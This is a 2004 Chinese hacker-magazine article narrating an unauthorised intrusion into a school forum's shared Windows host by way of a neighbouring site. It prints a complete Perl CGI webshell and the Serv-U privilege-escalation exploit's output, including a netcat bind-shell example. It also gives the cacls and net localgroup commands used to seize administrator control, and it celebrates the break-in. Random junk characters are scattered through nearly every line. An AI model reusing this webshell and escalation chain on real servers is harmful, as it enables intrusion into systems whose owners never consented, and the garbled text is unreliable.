剑走偏锋——灵巧的旁注攻击 5 U/ C3 X9 t" ?3 [- [
本文作者:angel( H) F; l% h# c) X0 B1 b+ o
文章性质:原创6 v5 |7 s/ E" w' q
发布日期:2004-11-09 2 _& V& N. S% m5 w X9 l! p3 P
注意:
/ `( R- d0 D+ r" w* @2 O5 _+ a) o本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
3 _* `; I& C4 D9 s本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
, D9 P& N6 W" ?% C! N5 F1 p
" w4 f9 G a* ~: d2 a& y7 N 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 2 Q+ x& w! ^& \$ H3 G, u4 f* z
) n5 V: u9 a+ ~) M! G6 } 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
9 O4 d# X" q( ^+ V0 h6 J4 l# w! ^7 I B
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 # x) p: j7 }# q1 s, S- z& Y
2 n7 C, M( c0 F/ e" a. X4 ~, a 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
& }+ e( |$ `4 F5 x3 t2 Y# Z8 h( o9 g* r _' J6 w% v3 N0 w
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
/ ]) G3 M; |! a# x& J$ K+ p9 a. B; K0 ]' B' u- z- y2 f: ^3 S$ P
没有目的的跳转目录着……
+ H7 F( l( U* T1 O: [) `/ _% \/ b1 @# ^7 K B
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
9 W7 V( q: a' y. X# B2 c9 M
7 l5 t& \4 |5 N/ A2 F6 V( l |9 V 结束了吗?不,我试着 FTP 一下:
3 z' M2 l4 f: V! @# h8 t* u% @( [3 d4 K0 b; L
Microsoft Windows 2000 [Version 5.00.2195]5 f5 k: `% T& D" k2 |' I
(C) 版权所有 1985-2000 Microsoft Corp. & @% L9 T) o, {( Y8 X8 I
8 P% E/ f7 ^: [. I
C:\Documents and Settings\Administrator>ftp www.school.com
. ]/ ~1 k. ]2 W+ XConnected to www. school.com. / m* A7 i% h7 X" g) ?+ N
220 Welcome to FTP Server...
! |) [9 |( F0 o3 v) oUser (www.bjtrq.com:(none)):
8 L5 t' w) f3 t+ v ^7 I2 d331 User name okay, need password.
( T( P4 ]) W4 V/ x# V( F$ }Password: * |8 O8 b8 m1 m: H9 k4 U7 S
530 Not logged in.
8 {3 V. m4 t3 Z& ~: @& V2 |+ LLogin failed. 8 O# T0 v/ W1 t% A
ftp> bye + g4 b( y1 Q3 v* u" A* s+ @
221 Goodbye!
' U" E9 e- g6 O: T' [ 8 H2 x2 }7 \& F' i
/ p+ y& }. I- t5 O
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
- R& s" O. X' d& @, u0 f7 v
, U4 b: H! K3 [; \ A9 b; s* i2 L 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 % A0 v4 e$ Q- {1 X3 X: L c" @
- f1 _+ c1 k1 X5 v
Application Data
+ q4 |& C+ g& O; e sDocuments
, A. r0 \; {8 U o! z$ zDRM' A; [# ]9 |+ O/ r) K: S y
Favorites
2 G, t* k" y4 l+ J' G8 }Templates
2 {" v5 I) @ ~0 a6 P* J「开始」菜单
* ~: q( q- k! ?7 W- }桌面8 K+ y: k4 Q5 i v: e
4 q8 ^$ L1 z8 d, f: {9 r
9 A+ R8 d$ O" U, h- ~' c
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
l# [1 b4 W$ ~$ o
2 y1 D- v1 I) }; g& hActiveState ActivePerl 5.8$ u4 P! n: O) X' C5 w N1 D6 J- R
Administrative Tools
$ L: p) h3 E4 b5 ~, e, n/ oDeerfield.com( z& F, y) Q- a/ M: O% E# F/ C2 ?
DTemp
$ Y) N3 _1 A, rIPSentry# N6 {2 L) ?% S j5 R i
MBM 5
X5 c. |' @% A9 E, ^9 _" ~NetMeter
" x b, E1 B3 S; C4 hNetwork ICE
7 Z5 Y9 J/ W/ U% s5 E' v' GPersits Software AspEmail& K/ k& _5 ^0 K, F) [8 n3 g: V
Persits Software AspJpeg
) `. b1 ^. I% }4 @ U, \. q0 rServ-U FTP Server
$ W* [6 v( }8 |( aSymantec Client Security6 n8 ~) B2 z3 b; x4 j; X
Windows 优化大师
- E2 c O, W. `& S3 [WinRAR2 x' S9 h; P! `
启动5 |' Y$ w* G+ Y$ ]4 ]; G
管理工具
' h. h& t1 [; G9 x9 Q& O' B$ h附件: y7 v- p" B+ C8 w Z; w
3 Y Y# `% g- L; t- l& t) g/ n
) f# ]2 T( q: ^5 t3 k' l 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 3 {9 H* g1 v2 w( N8 @4 v+ U
; M5 W* {& N3 ^, ~- a 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
$ |3 m" W$ X" S& J' V; M# J$ }
8 [: C$ x% h' w6 I: W8 Y, [1 x; eUser281=angel|1|0 ; c2 t2 \ y) n' ?) u- _1 d, e
6 @& ]( E) Z3 Z8 Y) y2 o6 y, i2 Y% A' U* {- W: {- g( P( I9 B @
然后加上
; ^3 Z- n% V% f
7 t2 w: x4 d5 @1 `) ^: x[USER=angel|1]& S- O+ U% o1 M, n( s
Password=ng98F85379EA68DBF97BAADCA99B69B805
: k3 n: C5 E# G- ^HomeDir=D:\websites8 g/ Z) j' C! q3 S( Y. Z
RelPaths=1" l9 }4 ^- Z3 }* C
TimeOut=600
' z* Y$ {# a8 K3 t: f" W, _/ h# w/ iMaintenance=System
3 L+ J& @) J/ O8 OAccess1=D:\websites|RWAMELCDP1 A4 |! W* m% q4 |) x; |/ M
SKEYValues=
4 W( C% [0 }3 y4 k6 i) r7 F # ?! f/ T( @; o& g% h* h
: D8 T7 }& }0 G% b' V# }/ b
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… : y, m" B9 N u- A3 W/ T
% ^0 d+ c) h% {! f0 a1 U6 [ 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
' G. `" s- O: u) f/ `" u& Q; U& h: h" f( F" d
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
# ]4 Q/ d- P+ m2 V2 s6 r: l/ H# |) ~( X1 S8 h, W
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
) R6 Q7 \) h2 d7 K" S' |* I$ J7 O8 ^! n$ E( p7 N N
#!/usr/bin/perl! o4 ^ ^7 B/ P9 w0 _6 r( ]6 Q
binmode(STDOUT);
( S4 D5 S1 C8 |2 Y0 T% Bsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
- n3 W2 s3 t# {" U) k$_ = $ENV{QUERY_STRING};
) W& J# C! s: P. C. _$ [" g t) \- xs/%20/ /ig;; x8 r/ s, K% }' Q
s/%2f/\//ig;
! f ~1 }! g/ t8 @& {- R$execthis = $_;
7 r% ~; S5 f6 a- q6 vsyswrite(STDOUT, "<HTML><PRE>\r\n", 13); _- Q: m' t+ K# e
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
1 w" p3 F6 _4 z: w' \, X- gsystem($execthis);
2 \9 d+ f2 x {! m4 f1 l2 gsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);) I- @) T4 N' h
close(STDERR);
! F/ p- `0 e8 C9 \close(STDOUT);
# r$ k. d f1 d4 H$ s! [exit;9 C y. _! P+ M7 S& B: l/ f5 {/ u
! n$ r! K( v7 O) K
$ c) F3 t0 q& p3 W3 J" P" b* g 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!!
9 }3 a1 _7 _) ]$ \7 ]1 d" @( B
" w2 A- w/ g' ^4 v d0 b) f2 U' R 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: . v" J7 o) {+ M: M9 Y5 i( v# P
8 L$ a1 [) I* X$ ]6 Y. o( K8 ~' J
http://anyhost//cmd.pl?d:\user\bin\su.exe
3 P( L" o, i, D5 U5 s
. W4 F6 B! K1 l3 s3 m2 T+ c1 a
/ K2 v. G7 C/ o5 z/ G 返回:
+ k( c5 b# l9 w7 D# _! ?+ i! }& u5 w
Serv-u >3.x Local Exploit by xiaolu " ]% Z# s" ~) b) X7 r! r S
5 p S; K4 r- W, h8 K, @/ oUSAGE: serv-u.exe "command"
3 V2 z& y# C$ B, |+ o. i
$ _' [6 X t( }& q, D& O; mExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 5 s ~" t+ ?/ ~2 j3 K" R8 s
' H; d. v I1 _# M
1 ]0 J3 ^: C q+ i 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: * D/ O! I7 M0 k% f( e5 N
7 R6 V7 F0 e7 I$ `( V+ ohttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
, }6 `3 E& S. {/ x) o* l \' a* d' h: J- b" _: {" Z+ D: C
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" , r5 L1 r# N/ n M# m
0 f% E! _. H6 o, b3 Q+ ahttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" , E3 _$ W1 w2 o3 A* k$ ]. p8 m0 {
1 K; g; Y! ^* M+ m( hhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
" @9 f F! X$ u6 I # r' j( F+ [7 e: N
; D- `) e: T5 p' N 返回下面的信息,就表示成功了!!! 2 y" f% K, w6 |5 j( i& ~! N' A
9 }! v w: g: t" nServ-u >3.x Local Exploit by xiaolu 8 S/ E4 M2 A9 T% P- {& r3 T6 t
8 `! R' B3 ]5 H8 r<220 Serv-U FTP Server v5.2 for WinSock ready...
. M) s6 a: `$ l' v2 T7 k1 p: P- d4 S4 H& D
>USER LocalAdministrator
+ ~5 {5 a' D1 x9 |
; ^' I1 ^3 s/ d! D<331 User name okay, need password.
0 e( P; E, }) M' h) f1 H8 p! a G: I! d- |3 _3 m; F) C2 x4 ^- e
****************************************************** ! M( t! v y+ ?, ?1 H i" z- |
2 a [9 F6 N7 X
>PASS #l@$ak#.lk;0@P 2 m' g! R( v- |3 K, g# w
! i- V1 n4 H2 v3 A
<230 User logged in, proceed.
" b" s) Y6 m4 w" S* M
1 y0 p: x$ U: ?4 b# M7 {******************************************************
7 j% Q# s: E4 C: h5 Z
8 v" c9 [& n" a" r( O& v>SITE MAINTENANCE
$ v- \; M6 O, _) }" T- _7 P1 `, u* F: p3 |; I6 A5 G- {+ I- }6 H
****************************************************** , i$ j" ~8 U- G0 T
5 s7 R5 P2 ~( u9 g( T) G) w[+] Creating New Domain... " n# V5 c- e: ~
3 r0 j( {9 W' {( {<200-DomainID=2
8 s0 v' n% Z0 M/ F/ p" ] Y2 M& m% k$ h! p* P w1 m5 r
<220 Domain settings saved
/ e8 q0 w+ F0 X6 b8 d" X" I: b1 h* _- M
****************************************************** * v" s7 O* a$ L& \4 N
. r/ V4 V6 I, V' |+ I# j
[+] Domain xl:2 Created
7 j" O3 n! F$ ~' y! X, g5 W2 N
6 h7 R3 p0 l, N; ? T; I7 e[+] Creating Evil User
& }) V1 Y: o- v5 ?, _; ~* I1 | A P e
<200-User=xl
) ]- _( k" b, H* n* S% C# P% C
( @5 G2 P3 { o" |200 User settings saved ! _* d, S7 o; O: Y$ W
5 Z5 ^# {+ w: J9 R3 z# i& X******************************************************
0 Z: f* b# J6 X4 V
" z: d7 |4 T) q! Z[+] Now Exploiting...
' K- I) ]8 D ]5 _
" D9 N( D. j: I' |! x>USER xl - h8 K$ |4 F, t% w8 D
% [8 Q5 r8 R8 O& s<331 User name okay, need password.
( H4 ^# D% ~* N5 c
& u/ H! s7 e2 u, G' Z5 d8 L1 B******************************************************
3 \2 R, ?4 |4 o
/ F' S- C# {& j X& c2 p, w( P>PASS 111111 0 j; p. k! _( g9 \' |! Q: m7 t
3 o) ^6 G- U# C' o r3 D! u$ Z, l
<230 User logged in, proceed. 3 l/ b6 K" u V5 C% c
+ a: o9 o0 ^% y( M s
****************************************************** 5 E. N% r# a. }4 o" _! b+ P! X
' |' S" E' h9 J8 ^7 f
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
$ n2 q+ [- Z% v$ \! ~" u7 ~3 C. ^
5 s* h/ d$ _; e<220 Domain deleted
+ _5 d$ H7 j( ~$ k: C
^; X* }+ |4 v******************************************************
S ]0 W$ T' Z * K. y' L* Q+ h2 l% U* R
" t X! h- U5 R' C% W
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ) ` T- W( ]9 x3 [, D5 d
' M7 @( _+ p' @1 y4 o0 `http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
) L D7 [" k2 d f 0 \$ e8 `4 |8 S. h' u
: x3 n1 h7 R$ U; q0 H4 h
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 - e& E. d6 ]6 H% H0 L
+ I- @; r. M4 d# y) i* \+ X 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。9 _0 F. l/ ~! N* z8 Y7 |
, z2 Q, y) ~4 n
* O5 Z8 L/ L* |) n$ { |